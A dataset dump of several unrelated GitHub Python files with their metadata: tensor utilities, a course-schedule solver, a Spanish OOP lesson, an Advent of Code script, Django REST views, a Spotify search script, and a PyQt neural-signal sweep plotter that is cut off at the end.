:py:meth:`torch.from_numpy`.\n The tensor is copied back to the original device `tensor` is on.\n\n :param tensor: tensor to process\n :param func: callable to invoke with the given tensor converted to a NumPy array\n :return: resulting NumPy array converted to a Torch tensor\n \"\"\"\n return torch.from_numpy(func(to_numpy(tensor))).to(tensor.device)\n\n\ndef split_parameter_groups(model: nn.Module) -> Tuple[List[str], List[torch.nn.Parameter]]:\n \"\"\"\n Gets the parameters of the given `model` and, if they require taking a gradient, adds them to the list of learnable\n parameters. The names of the parameters groups are also extracted.\n\n :param model: model to extract the parameters from\n :return: tuple `(parameter_group_names, opt_parameters)`; the names of the parameter groups and the learnable\n parameters such that the `i`-th element of the parameter group names corresponds to the `i`-th parameter\n \"\"\"\n parameter_group_names, opt_parameters = [], []\n for name, params in model.named_parameters():\n if params.requires_grad:\n parameter_group_names.append(name)\n opt_parameters.append(params)\n return parameter_group_names, opt_parameters\n\n\ndef apply_parameter_name_selector(names: List[str], selector: List[str]) -> List[str]:\n \"\"\"\n Applies the given `selector` to the given list of `names`. A name is included in the result if it is contained in\n the given `selector` and a name is removed from the result if it is contained in the given `selector` and is\n preceded by an exclamation mark (`!`). The special name `all` includes all `names` in the result. Excludes take\n precedence over includes.\n\n :param names: all available names\n :param selector: selector to apply\n :return: selected names according to the above rules; contains no duplicates but are in an arbitrary order\n \"\"\"\n result = []\n negations = []\n for filt in selector:\n if filt == \"all\":\n result += names\n elif filt.startswith(\"!\"):\n negations.append(filt[1:])\n elif filt in names:\n result.append(filt)\n else:\n assert False, f\"unknown name {filt!r}\"\n for filt in negations:\n if filt in names:\n result.remove(filt)\n else:\n assert False, f\"unknown name {filt!r}\"\n return list(set(result))\n\n\ndef gen_index_iterator(val: NdTensor) -> Iterator[tuple]:\n \"\"\"\n Creates an iterator over the indices of the given tensor (which can also be a NumPy array), over all dimensions.\n The resulting iterator is a list of tuples each corresponding to a single element. For example, the elements of the\n iterator for an array with shape `(2, 3)` would be `(0, 0)`, `(0, 1)`, `(0, 2)`, `(1, 0)`, `(1, 1)`, and `(1, 2)`.\n\n :param val: tensor to iterate over\n :return: iterator with the index tuples as described before\n \"\"\"\n assert len(val.shape) > 0, \"val has to have at least one dimension\"\n indices = [range(dim_length) for dim_length in val.shape]\n return product(*indices)\n\n\ndef make_positive_definite(val: NdTensor, *, warn_on_jitter: bool = True, jitter_exponent_lo: int = -10, jitter_exponent_up: int = 0) -> NdTensor:\n \"\"\"\n Makes the given two-dimensional quadratic tensor `val` positive definite by adding jittering on the diagonal. Tries\n to start with no jittering and subsequently adds jittering starting from `10 ** jitter_exponent_lo` up to\n `10 ** jitter_exponent_up` (in equidistant steps of `1` in the exponent).\n\n :param val: matrix to make positive definite\n :param warn_on_jitter: whether a `UserWarning` should be printed when jittering is applied\n :param jitter_exponent_lo: first jittering exponent value that is applied\n :param jitter_exponent_up: last jittering exponent to try\n :return: the jittered matrix\n :raises RuntimeError: if the matrix was not positive definite after adding jittering of `10 ** jitter_exponent_up`\n \"\"\"\n\n assert len(val.shape) == 2, \"val has to be two-dimensional\"\n\n if is_numpy(val):\n eye = np.eye(val.shape[-1])\n elif is_torch(val):\n eye = torch.eye(val.shape[-1])\n else:\n assert False, \"A is neither NumPy nor Torch tensor\"\n\n val_jittered = val\n jitter_exponent = jitter_exponent_lo\n while jitter_exponent <= jitter_exponent_up:\n try:\n if is_numpy(val_jittered):\n np.linalg.cholesky(val_jittered)\n elif is_torch(val_jittered):\n torch.linalg.cholesky(val_jittered)\n else:\n assert False, \"val_jittered is neither NumPy nor Torch tensor\"\n break\n except (LinAlgError, RuntimeError) as ex:\n if isinstance(ex, LinAlgError) or \"singular U.\" in getattr(ex, \"args\", [\"\"])[0]:\n if warn_on_jitter:\n warnings.warn(f\"Inverse transformed covariance is singular, adding jitter of 10e{jitter_exponent}.\", UserWarning)\n val_jittered = val + 10 ** jitter_exponent * eye\n jitter_exponent += 1\n else:\n raise ex\n else: # Invoke iff the above loop does not exit with the break but ends regularly.\n raise RuntimeError(f\"A is not positive definite after adding jittering up to 10e{jitter_exponent_up}.\")\n return val_jittered\n","repo_name":"fdamken/random-fourier-series-features","sub_path":"src/rfsf/util/tensor_util.py","file_name":"tensor_util.py","file_ext":"py","file_size_in_byte":9306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"5378201716","text":"class CourseSchedule:\n def canFinish(self, numCourses: int, prerequisites: 'List[List[int]]') -> bool:\n graph = {i: [] for i in range(numCourses)}\n in_degree = [0 for _ in range(numCourses)]\n for cur, pre in prerequisites:\n graph[pre].append(cur)\n in_degree[cur] += 1\n finished = [i for i in range(numCourses) if in_degree[i] == 0]\n if len(finished) == 0: return False\n for i in finished:\n for c in graph[i]:\n in_degree[c] -= 1\n if in_degree[c] == 0:\n finished.append(c)\n return numCourses == len(finished)\n","repo_name":"yokolet/tranquil-beach-python","sub_path":"tranquil-beach/graph/course_schedule.py","file_name":"course_schedule.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"43127076625","text":"# Programación orientada a objetos > Conceptos básicos de POO y UML\n\nclass Gato:\n ''' Crea un objeto del tipo gato con características básicas '''\n # Recibimos la instancia como primer argumento\n # Podemos nombrar al argumento diferente pero por convención usamos self\n def __init__(self, nombre:str, edad:int, peso:float, color:str):\n # VARIABLES DE INSTANCIA\n self.nombre:str = nombre\n self.edad:int = edad\n self.peso:float = peso\n self.color:str = color\n \n # El argumento self se pasa de manera automática\n def detalles(self) -> str:\n ''' Muestra los detalles del objeto tipo gato '''\n return '{} es un gato de {} años color {} que pesa {} kilos.'.format(\n self.nombre,\n self.edad,\n self.color,\n self.peso\n )\n \n def vacunar(self) -> str:\n ''' Regresa en un string cuantos litros de medicamento hay que suministrar a nuestro gato '''\n return 'suministramos {} litros contra la rinotraqueitis'.format(\n # Multiplicamos el peso por un valor fijo\n # ¿Qué pasaría si necesitamos cambiar el valor más adelante?\n self.peso * 0.003\n )\n\ntom = Gato('Tom', 3, 7, 'café')\nprint(tom.vacunar())\n","repo_name":"memelogit/software_design","sub_path":"module1/poo_class_variables_issue.py","file_name":"poo_class_variables_issue.py","file_ext":"py","file_size_in_byte":1277,"program_lang":"python","lang":"es","doc_type":"code","stars":7,"dataset":"github-code","pt":"53"}
+{"seq_id":"40785205615","text":"from day09.sequence_finder import RangeFinder\nfrom day09.rolling_numbers import NumberRoller\nfrom helpers import get_data\n\n\ndef main():\n data = get_data(day=9).split(\"\\n\")\n numbers = [int(line) for line in data]\n\n preamble = numbers[:25]\n\n roller = NumberRoller(preamble)\n\n first_invalid = roller.find_first_invalid_number(numbers[25:])\n\n print(f\"First invalid number is {first_invalid}\")\n\n low, high = RangeFinder.find_number_in_range(numbers, first_invalid)\n check_range = numbers[low : high + 1]\n smallest, largest = min(check_range), max(check_range)\n\n answer = smallest + largest\n\n print(f\"Checking the smallest plus largest in range gives {answer}\")\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"cadolphs/advent_of_code_2020","sub_path":"day09/run_day09.py","file_name":"run_day09.py","file_ext":"py","file_size_in_byte":729,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"14778151164","text":"\"\"\" 视图\"\"\"\nfrom datetime import datetime\nfrom django.db.models import Q\nfrom rest_framework.views import APIView\nfrom rest_framework.response import Response\nfrom rest_framework import status\nfrom rest_framework import exceptions\n\nfrom .models import Airplane\nfrom .utils.getdata import getdatescar, getmonthscar\n\nfrom rest_framework.views import APIView\n\n\nclass ScarDateView(APIView):\n \"\"\" 返回伤痕数目\"\"\"\n\n def get(self, request):\n \"\"\"默认获得七天内的伤痕统计\"\"\"\n # 设定默认值\n stop_date = datetime.now()\n start_date = datetime.fromtimestamp(stop_date.timestamp() - 6*24*60*60)\n keyword = Airplane.objects.all().first().TailNumber # 此数值为默认值,设置飞机搜索关键字\n \n begin_time = request.query_params.get(\"start\", start_date)\n stop_time = request.query_params.get(\"stop\", stop_date)\n keyword = request.query_params.get(\"keyword\", keyword) # 获取飞机的搜索关键字\n\n\n airplane = Airplane.objects.filter(Q(TailNumber=keyword) | Q(\n LineNumber=keyword) | Q(AC_ASN=keyword) | Q(AC_Variable=keyword)).first()\n if not airplane:\n raise exceptions.NotFound(\"查找飞机不存在\")\n \n scars = getdatescar(begin_time, stop_time, airplane)\n return Response(scars, status=status.HTTP_200_OK)\n\n\nclass ScarMonthView(APIView):\n \"\"\" 按月份返回伤痕统计 \"\"\"\n\n def get(self, request):\n \"\"\" 根据查询的月份返回数据\"\"\"\n #设置默认参数\n date = datetime.now()\n keyword = Airplane.objects.all().first().TailNumber # 指定默认搜索关键字\n\n # date表示年份加月份,从前端url中取到例如2019-02之类的数据\n date = request.query_params.get(\"date\",date)\n keyword = request.query_params.get(\"keyword\",keyword)\n \n airplane = Airplane.objects.filter(Q(TailNumber=keyword) | Q(\n LineNumber=keyword) | Q(AC_ASN=keyword) | Q(AC_Variable=keyword)).first()\n if not airplane:\n raise exceptions.NotFound(\"查找飞机不存在\")\n \n scars = getmonthscar(date, airplane)\n \n return Response(scars, status=status.HTTP_200_OK)\n","repo_name":"syyuan14/django_restframework","sub_path":"mysql_demo/app01/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"33893280404","text":"#!/usr/bin/env python3\n\n# SEARCH ENGINE\n# \n# Make a non-IPython Notebook that automates browsing for top tracks\n# Prompts for an artist\n# you put it in, displays the results, asks which one you want (numbered)\n# you enter a number\n# It displays their top tracks, then their MOST popular album and their least popular album. if they only have one album it says that they only have one album.\n\nimport requests\n\nartist = input(\"What artist are you looking for? \")\n\n# Get the data from spotify's api\n\nresponse = requests.get('https://api.spotify.com/v1/search?query=' + artist + '&type=artist&country=CH&limit=50')\ndata = response.json()\nartists = data['artists']['items']\n\n# Find the right artist\n\nif len(artists) > 1:\n print(\"I found more than one artist with this name.\")\n counter = 1\n for option in artists:\n print(counter, option['name'])\n counter += 1\n artist_option = int(input(\"Please type in the matching number. \"))\n artist_id = artists[artist_option - 1]['id']\n artist_name = artists[artist_option - 1]['name']\nelse:\n artist_id = artists[0]['id']\n artist_name = artist[0]['name']\n\n# Get the details about the artist.\n\nresponse1 = requests.get(\"https://api.spotify.com/v1/artists/\" + artist_id + \"/top-tracks?country=US\")\ndata1 = response1.json()\ntracks = data1['tracks']\nalbum_list = []\nalbum_names = []\n\nprint(\"\\n\" + \"These are the most popular tracks on Spotify by\", artist_name + \":\\n\")\nfor track in tracks:\n print(track['name'], \"(Popularity:\", str(track['popularity']) + ')')\n\nprint(\"\\n\" + artist_name, \"has the following albums on Spotify:\\n\")\n\ncounter = 0\nfor album in tracks: \n album_list.append(data1['tracks'][counter]['album']['id'])\n album_names.append(data1['tracks'][counter]['album']['name'])\n counter += 1\nalbum_list_short = set(album_list)\nprint(\", \".join(set(album_names)))\n\n# Get albums from Spotify\n\nresponse2 = requests.get(\"https://api.spotify.com/v1/albums/?ids=\" + \",\".join(album_list_short))\ndata2 = response2.json()\nalbums = data2['albums']\n\npop_album = albums[0]\nflop_album = albums[0]\n\n# Calculate top and flop album.\n\nfor album in albums:\n if album['popularity'] > pop_album['popularity']:\n pop_album = album\n elif album['popularity'] < flop_album['popularity']:\n flop_album = album\n\nif len(album_list_short) == 1:\n print(artist_name, \"has only one album listed on Spotify:\", albums[0]['name'] + \".\")\nelse:\n print(\"The album \\\"\" + pop_album['name'] + \"\\\" is the most popular album of\", artist_name, \"on Spotify. \\\"\" + flop_album['name'] + \"\\\" is the least popular.\")\n","repo_name":"thisss/lede12-homework","sub_path":"foundations/05/artists.py","file_name":"artists.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"42350357953","text":"import sys\nimport os\nimport numpy as np\nfrom scipy import signal\nimport pyaudio\nimport qtpy\nfrom qtpy.QtGui import QColor\nfrom qtpy.QtWidgets import QDialog, QVBoxLayout, QHBoxLayout, QLabel, QComboBox\nfrom qtpy.QtWidgets import QDialogButtonBox, QCheckBox, QLineEdit, QButtonGroup, QRadioButton\nfrom qtpy.QtCore import Qt, QSharedMemory\nimport pyqtgraph as pg\nfrom cerebuswrapper import CbSdkConnection\nsys.path.insert(0, os.path.join(os.path.dirname(os.path.realpath(__file__)), 'dbsgui'))\n# Note: If import dbsgui fails, then set the working directory to be this script's directory.\nfrom neuroport_dbs.dbsgui.my_widgets.custom import CustomWidget, ConnectDialog, SAMPLINGGROUPS, get_now_time, THEMES, \\\n CustomGUI\n\n# Import settings\n# TODO: Make some of these settings configurable via UI elements\nfrom neuroport_dbs.settings.defaults import WINDOWDIMS_SWEEP, WINDOWDIMS_LFP, NPLOTSEGMENTS, XRANGE_SWEEP, uVRANGE, \\\n FILTERCONFIG, DSFAC, SIMOK, SAMPLINGRATE\n\n\nclass SweepGUI(CustomGUI):\n\n def __init__(self):\n super(SweepGUI, self).__init__()\n self.setWindowTitle('SweepGUI')\n self.plot_widget = {}\n\n def on_action_add_plot_triggered(self):\n group_ix, do_downsample, b_alt_loc = AddSamplingGroupDialog.do_samplinggroup_dialog()\n if group_ix == -1:\n print(\"Add group canceled\")\n return\n\n self.cbsdk_conn.cbsdk_config = {'reset': True, 'get_continuous': True}\n\n group_info = self.cbsdk_conn.get_group_config(group_ix)\n\n if group_info is None:\n raise ValueError(\"No group info retrieved from cbsdk. Are you connected?\")\n\n for gi_item in group_info:\n gi_item['label'] = gi_item['label'].decode('utf-8')\n gi_item['unit'] = gi_item['unit'].decode('utf-8')\n\n # Chart container\n self.plot_widget[(group_ix, do_downsample)] = SweepWidget(group_info,\n group_ix=group_ix,\n downsample=do_downsample,\n alt_loc=b_alt_loc)\n self.plot_widget[(group_ix, do_downsample)].was_closed.connect(self.on_plot_closed)\n\n def on_plot_closed(self):\n del_list = []\n for key in self.plot_widget:\n if self.plot_widget[key].awaiting_close:\n del_list.append(key)\n\n for key in del_list:\n del self.plot_widget[key]\n\n if not self.plot_widget:\n self.cbsdk_conn.cbsdk_config = {'reset': True, 'get_continuous': False}\n\n def do_plot_update(self):\n cont_data = self.cbsdk_conn.get_continuous_data()\n if cont_data is not None:\n cont_chan_ids = [x[0] for x in cont_data]\n for sweep_key in self.plot_widget:\n chart_chan_ids = [x['chan'] for x in self.plot_widget[sweep_key].group_info]\n match_chans = list(set(cont_chan_ids) & set(chart_chan_ids))\n for chan_id in match_chans:\n data = cont_data[cont_chan_ids.index(chan_id)][1]\n label = self.plot_widget[sweep_key].group_info[chart_chan_ids.index(chan_id)]['label']\n self.plot_widget[sweep_key].update(label, data)\n # Comment above and uncomment below to test if trying to exclude cbsdk.\n # for sweep_key in self.plot_widget:\n # for gi in self.plot_widget[sweep_key].group_info:\n # data = np.random.randint(-500, 500, size=(10000,), dtype=np.int16)\n # self.plot_widget[sweep_key].update(gi['label'], data)\n\n\nclass AddSamplingGroupDialog(QDialog):\n \"\"\"\n A modal dialog window with widgets to select the channel group to add.\n \"\"\"\n\n def __init__(self, parent=None):\n super(AddSamplingGroupDialog, self).__init__(parent)\n\n # Widgets to show/edit connection parameters.\n layout = QVBoxLayout(self)\n\n # Chan group layout\n chan_group_layout = QHBoxLayout()\n chan_group_layout.addWidget(QLabel(\"Sampling Group\"))\n self.combo_box = QComboBox()\n self.combo_box.addItems(SAMPLINGGROUPS)\n self.combo_box.setCurrentIndex(SAMPLINGGROUPS.index(str(SAMPLINGRATE)))\n chan_group_layout.addWidget(self.combo_box)\n layout.addLayout(chan_group_layout)\n\n # Check this box to create a new alternate window. This enables viewing the data twice (e.g., filtered and raw)\n self.downsample_checkbox = QCheckBox(\"Downsample\")\n self.downsample_checkbox.setChecked(False)\n layout.addWidget(self.downsample_checkbox)\n\n self.altloc_checkbox = QCheckBox(\"Alt. Location\")\n self.altloc_checkbox.setChecked(False)\n layout.addWidget(self.altloc_checkbox)\n\n # OK and Cancel buttons\n buttons = QDialogButtonBox(\n QDialogButtonBox.Ok | QDialogButtonBox.Cancel,\n Qt.Horizontal, self)\n buttons.accepted.connect(self.accept)\n buttons.rejected.connect(self.reject)\n layout.addWidget(buttons)\n\n @staticmethod\n def do_samplinggroup_dialog(parent=None):\n dialog = AddSamplingGroupDialog(parent)\n result = dialog.exec_()\n if result == QDialog.Accepted:\n # Get channel group from widgets and return it\n return (dialog.combo_box.currentIndex(), dialog.downsample_checkbox.checkState() == Qt.Checked,\n dialog.altloc_checkbox.checkState() == Qt.Checked)\n return -1, False\n\n\nclass SweepWidget(CustomWidget):\n UNIT_SCALING = 0.25 # Data are 16-bit integers from -8192 uV to +8192 uV. We want plot scales in uV.\n\n def __init__(self, *args, **kwargs):\n self._monitor_group = None\n self.plot_config = {}\n self.segmented_series = {} # Will contain one array of curves for each line/channel label.\n # add a shared memory object to track the currently monitored channel to plot its features/depth monitoring\n self.monitored_shared_mem = QSharedMemory()\n\n super(SweepWidget, self).__init__(*args, **kwargs)\n this_dims = WINDOWDIMS_SWEEP\n if 'alt_loc' in self.plot_config and self.plot_config['alt_loc']:\n this_dims = WINDOWDIMS_LFP\n self.move(this_dims[0], this_dims[1])\n self.resize(this_dims[2], this_dims[3])\n self.refresh_axes() # Extra time on purpose.\n self.pya_manager = pyaudio.PyAudio()\n self.pya_stream = None\n self.audio = {}\n self.reset_audio()\n\n self.monitored_shared_mem.setKey(\"MonitoredChannelMemory\")\n # we will pass the range, channel id and do_hp values to the DDUGUI. need 3 numbers, largest needs to be float\n # 3 * 64bit floats / 8bit per bytes = 24 bytes. QSharedMemory allocates an entire page of 4096 bytes, so we're\n # good.\n self.monitored_shared_mem.create(24)\n self.update_shared_memory()\n\n def keyPressEvent(self, e):\n valid_keys = [Qt.Key_0, Qt.Key_1, Qt.Key_2, Qt.Key_3, Qt.Key_4, Qt.Key_5, Qt.Key_6, Qt.Key_7, Qt.Key_8,\n Qt.Key_9][:len(self.group_info) + 1]\n current_button_id = self._monitor_group.checkedId()\n new_button_id = None\n if e.key() == Qt.Key_Left:\n new_button_id = (current_button_id - 1) % (len(self.group_info) + 1)\n elif e.key() == Qt.Key_Right:\n new_button_id = (current_button_id + 1) % (len(self.group_info) + 1)\n elif e.key() == Qt.Key_Space:\n new_button_id = 0\n elif e.key() in valid_keys:\n new_button_id = valid_keys.index(e.key())\n\n if new_button_id is not None:\n button = self._monitor_group.button(new_button_id)\n button.setChecked(True)\n self.on_monitor_group_clicked(new_button_id)\n\n def closeEvent(self, evnt):\n if self.pya_stream:\n if self.pya_stream.is_active():\n self.pya_stream.stop_stream()\n self.pya_stream.close()\n self.pya_manager.terminate()\n super(SweepWidget, self).closeEvent(evnt)\n\n def create_control_panel(self):\n # Create control panel\n # +/- range\n cntrl_layout = QHBoxLayout()\n cntrl_layout.addWidget(QLabel(\"+/- \"))\n self.range_edit = QLineEdit(\"{:.2f}\".format(uVRANGE))\n self.range_edit.editingFinished.connect(self.on_range_edit_editingFinished)\n self.range_edit.setMinimumHeight(23)\n self.range_edit.setMaximumWidth(80)\n cntrl_layout.addWidget(self.range_edit)\n # buttons for audio monitoring\n cntrl_layout.addStretch(1)\n cntrl_layout.addWidget(QLabel(\"Monitor: \"))\n self._monitor_group = QButtonGroup(parent=self)\n none_button = QRadioButton(\"None\")\n none_button.setChecked(True)\n self._monitor_group.addButton(none_button)\n self._monitor_group.setId(none_button, 0)\n cntrl_layout.addWidget(none_button)\n for chan_ix in range(len(self.group_info)):\n new_button = QRadioButton(self.group_info[chan_ix]['label'])\n self._monitor_group.addButton(new_button)\n self._monitor_group.setId(new_button, chan_ix + 1)\n cntrl_layout.addWidget(new_button)\n self._monitor_group.buttonClicked[int].connect(self.on_monitor_group_clicked)\n # Checkbox for whether the audio out should be spike only\n spk_aud_checkbox = QCheckBox(\"Spike Aud\")\n spk_aud_checkbox.stateChanged.connect(self.on_spk_aud_changed)\n spk_aud_checkbox.setChecked(True)\n cntrl_layout.addWidget(spk_aud_checkbox)\n # Checkbox for HP filter\n filter_checkbox = QCheckBox(\"HP\")\n filter_checkbox.stateChanged.connect(self.on_hp_filter_changed)\n filter_checkbox.setChecked(True)\n cntrl_layout.addWidget(filter_checkbox)\n # Checkbox for Comb filter\n filter_checkbox = QCheckBox(\"LN\")\n filter_checkbox.setEnabled(False)\n filter_checkbox.stateChanged.connect(self.on_ln_filter_changed)\n filter_checkbox.setChecked(False)\n cntrl_layout.addWidget(filter_checkbox)\n # Finish\n self.layout().addLayout(cntrl_layout)\n\n def on_spk_aud_changed(self, state):\n self.plot_config['spk_aud'] = state == Qt.Checked\n\n def on_hp_filter_changed(self, state):\n self.plot_config['do_hp'] = state == Qt.Checked\n self.update_shared_memory()\n\n def on_ln_filter_changed(self, state):\n self.plot_config['do_ln'] = state == Qt.Checked\n\n def on_range_edit_editingFinished(self):\n self.plot_config['y_range'] = float(self.range_edit.text())\n self.refresh_axes()\n self.update_shared_memory()\n\n def on_monitor_group_clicked(self, button_id):\n self.reset_audio()\n this_label = ''\n if button_id == 0:\n self.audio['chan_label'] = 'silence'\n monitor_chan_id = 0\n else:\n this_label = self.group_info[button_id - 1]['label']\n self.audio['chan_label'] = this_label\n monitor_chan_id = self.group_info[button_id - 1]['chan']\n\n # Reset plot titles\n for gi in self.group_info:\n plot_item = self.segmented_series[gi['label']]['plot']\n label_kwargs = {'color': 'y', 'size': '15pt'}\\\n if gi['label'] == this_label else {'color': None, 'size': '11pt'}\n plot_item.setTitle(title=plot_item.titleLabel.text, **label_kwargs)\n\n CbSdkConnection().monitor_chan(monitor_chan_id, spike_only=self.plot_config['spk_aud'])\n self.update_shared_memory()\n\n def update_shared_memory(self):\n # updates only the memory section needed\n if self.monitored_shared_mem.isAttached():\n # send data to shared memory object\n self.monitored_shared_mem.lock()\n chan_labels = [x['label'] for x in self.group_info]\n if self.audio['chan_label'] in ['silence', None]:\n curr_channel = float(0)\n else:\n curr_channel = float(chan_labels.index(self.audio['chan_label']) + 1) # 0 == None\n\n curr_range = self.plot_config['y_range']\n curr_hp = float(self.plot_config['do_hp'])\n\n to_write = np.array([curr_channel, curr_range, curr_hp], dtype=np.float).tobytes()\n self.monitored_shared_mem.data()[-len(to_write):] = memoryview(to_write)\n self.monitored_shared_mem.unlock()\n\n def on_thresh_line_moved(self, inf_line):\n for line_label in self.segmented_series:\n ss_info = self.segmented_series[line_label]\n if ss_info['thresh_line'] == inf_line:\n new_thresh = int(inf_line.getYPos() / self.UNIT_SCALING)\n cbsdkconn = CbSdkConnection()\n cbsdkconn.set_channel_info(ss_info['chan_id'], {'spkthrlevel': new_thresh})\n # TODO: If (new required) option is set, also set the other lines.\n\n def create_plots(self, theme='dark', downsample=False, alt_loc=False):\n # Collect PlotWidget configuration\n self.plot_config['downsample'] = downsample\n self.plot_config['x_range'] = XRANGE_SWEEP\n self.plot_config['y_range'] = uVRANGE\n self.plot_config['theme'] = theme\n self.plot_config['color_iterator'] = -1\n self.plot_config['n_segments'] = NPLOTSEGMENTS\n self.plot_config['alt_loc'] = alt_loc\n if 'do_hp' not in self.plot_config:\n self.plot_config['do_hp'] = False\n if 'spk_aud' not in self.plot_config:\n self.plot_config['spk_aud'] = False\n self.plot_config['hp_sos'] = signal.butter(FILTERCONFIG['order'],\n 2 * FILTERCONFIG['cutoff'] / self.samplingRate,\n btype=FILTERCONFIG['type'],\n output=FILTERCONFIG['output'])\n if 'do_ln' not in self.plot_config:\n self.plot_config['do_ln'] = False\n self.plot_config['ln_filt'] = None # TODO: comb filter coeffs\n\n # Create and add GraphicsLayoutWidget\n glw = pg.GraphicsLayoutWidget(parent=self)\n # glw.useOpenGL(True) # Actually seems slower.\n self.layout().addWidget(glw)\n # Add add a plot with a series of many curve segments for each line.\n for chan_ix in range(len(self.group_info)):\n self.add_series(self.group_info[chan_ix])\n\n def add_series(self, chan_info):\n # Plot for this channel\n glw = self.findChild(pg.GraphicsLayoutWidget)\n new_plot = glw.addPlot(row=len(self.segmented_series), col=0, title=chan_info['label'], enableMenu=False)\n new_plot.setMouseEnabled(x=False, y=False)\n\n # Appearance settings\n my_theme = THEMES[self.plot_config['theme']]\n self.plot_config['color_iterator'] = (self.plot_config['color_iterator'] + 1) % len(my_theme['pencolors'])\n pen_color = QColor(my_theme['pencolors'][self.plot_config['color_iterator']])\n\n # Prepare plot data\n samples_per_segment = int(\n np.ceil(self.plot_config['x_range'] * self.samplingRate / self.plot_config['n_segments']))\n for ix in range(self.plot_config['n_segments']):\n if ix < (self.plot_config['n_segments'] - 1):\n seg_x = np.arange(ix * samples_per_segment, (ix + 1) * samples_per_segment, dtype=np.int16)\n else:\n # Last segment might not be full length.\n seg_x = np.arange(ix * samples_per_segment,\n int(self.plot_config['x_range'] * self.samplingRate), dtype=np.int16)\n if self.plot_config['downsample']:\n seg_x = seg_x[::DSFAC]\n c = new_plot.plot(parent=new_plot, pen=pen_color) # PlotDataItem\n c.setData(x=seg_x, y=np.zeros_like(seg_x)) # Pre-fill.\n\n # Add threshold line\n thresh_line = pg.InfiniteLine(angle=0, movable=True, label=\"{value:.0f}\", labelOpts={'position': 0.05})\n thresh_line.sigPositionChangeFinished.connect(self.on_thresh_line_moved)\n new_plot.addItem(thresh_line)\n\n self.segmented_series[chan_info['label']] = {\n 'chan_id': chan_info['chan'],\n 'line_ix': len(self.segmented_series),\n 'plot': new_plot,\n 'last_sample_ix': -1,\n 'thresh_line': thresh_line,\n 'hp_zi': signal.sosfilt_zi(self.plot_config['hp_sos']),\n 'ln_zi': None\n }\n\n def refresh_axes(self):\n last_sample_ix = int(np.mod(get_now_time(), self.plot_config['x_range']) * self.samplingRate)\n for line_label in self.segmented_series:\n ss_info = self.segmented_series[line_label]\n\n # Fixup axes\n plot = ss_info['plot']\n plot.setXRange(0, self.plot_config['x_range'] * self.samplingRate)\n plot.setYRange(-self.plot_config['y_range'], self.plot_config['y_range'])\n plot.hideAxis('bottom')\n plot.hideAxis('left')\n\n # Reset data\n for seg_ix in range(self.plot_config['n_segments']):\n pci = plot.dataItems[seg_ix]\n old_x, old_y = pci.getData()\n pci.setData(x=old_x, y=np.zeros_like(old_x))\n ss_info['last_sample_ix'] = last_sample_ix\n\n # Get channel info from cbpy to determine threshold\n cbsdkconn = CbSdkConnection()\n full_info = cbsdkconn.get_channel_info(ss_info['chan_id'])\n ss_info['thresh_line'].setValue(full_info['spkthrlevel'] * self.UNIT_SCALING)\n\n def reset_audio(self):\n if self.pya_stream:\n if self.pya_stream.is_active():\n self.pya_stream.stop_stream()\n self.pya_stream.close()\n frames_per_buffer = 1 << (int(0.030*self.samplingRate) - 1).bit_length()\n self.audio['buffer'] = np.zeros(frames_per_buffer, dtype=np.int16)\n self.audio['write_ix'] = 0\n self.audio['read_ix'] = 0\n self.audio['chan_label'] = None\n self.pya_stream = self.pya_manager.open(format=pyaudio.paInt16,\n channels=1,\n rate=self.samplingRate,\n output=True,\n frames_per_buffer=frames_per_buffer,\n stream_callback=self.pyaudio_callback)\n\n def pyaudio_callback(self,\n in_data, # recorded data if input=True; else None\n frame_count, # number of frames. 1024.\n time_info, # dictionary\n status_flags): # PaCallbackFlags\n # time_info: {'input_buffer_adc_time': ??, 'current_time': ??, 'output_buffer_dac_time': ??}\n # status_flags: https://people.csail.mit.edu/hubert/pyaudio/docs/#pacallbackflags\n read_indices = (np.arange(frame_count) + self.audio['read_ix']) % self.audio['buffer'].shape[0]\n out_data = self.audio['buffer'][read_indices].tobytes()\n self.audio['read_ix'] = (self.audio['read_ix'] + frame_count) % self.audio['buffer'].shape[0]\n flag = pyaudio.paContinue\n return out_data, flag\n\n def update(self, line_label, data):\n \"\"\"\n\n :param line_label: Label of the segmented series\n :param data: Replace data in the segmented series with these data\n :return:\n \"\"\"\n ss_info = self.segmented_series[line_label]\n n_in = data.shape[0]\n data = data * self.UNIT_SCALING\n if self.plot_config['do_hp']:\n data, ss_info['hp_zi'] = signal.sosfilt(self.plot_config['hp_sos'], data, zi=ss_info['hp_zi'])\n if self.plot_config['do_ln']:\n pass # TODO: Line noise / comb filter\n if self.pya_stream:\n if 'chan_label' in self.audio and self.audio['chan_label']:\n if self.audio['chan_label'] == line_label:\n write_indices = (np.arange(data.shape[0]) + self.audio['write_ix']) % self.audio['buffer'].shape[0]\n self.audio['buffer'][write_indices] = (np.copy(data) * (2**15 / self.plot_config['y_range'])).astype(np.int16)\n self.audio['write_ix'] = (self.audio['write_ix'] + data.shape[0]) % self.audio['buffer'].shape[0]\n\n # Assume new samples are consecutively added to old samples (i.e., no lost samples)\n sample_indices = np.arange(n_in, dtype=np.int32) + ss_info['last_sample_ix']\n\n # Wrap sample indices around our plotting limit\n n_plot_samples = int(self.plot_config['x_range'] * self.samplingRate)\n sample_indices = np.int32(np.mod(sample_indices, n_plot_samples))\n\n # If the data length is longer than one sweep then the indices will overlap. Trim to last n_plot_samples\n if sample_indices.size > n_plot_samples:\n sample_indices = sample_indices[-n_plot_samples:]\n data = data[-n_plot_samples:]\n\n # Go through each plotting segment and replace data with new data as needed.\n for pci in ss_info['plot'].dataItems:\n old_x, old_y = pci.getData()\n x_lims = [old_x[0], old_x[-1]]\n if self.plot_config['downsample']:\n x_lims[1] += (DSFAC - 1)\n data_bool = np.logical_and(sample_indices >= x_lims[0], sample_indices <= x_lims[-1])\n if np.where(data_bool)[0].size > 0:\n new_x, new_y = sample_indices[data_bool], data[data_bool]\n if self.plot_config['downsample']:\n new_x = new_x[::DSFAC] - (new_x[0] % DSFAC) + (old_x[0] % DSFAC)\n new_y = 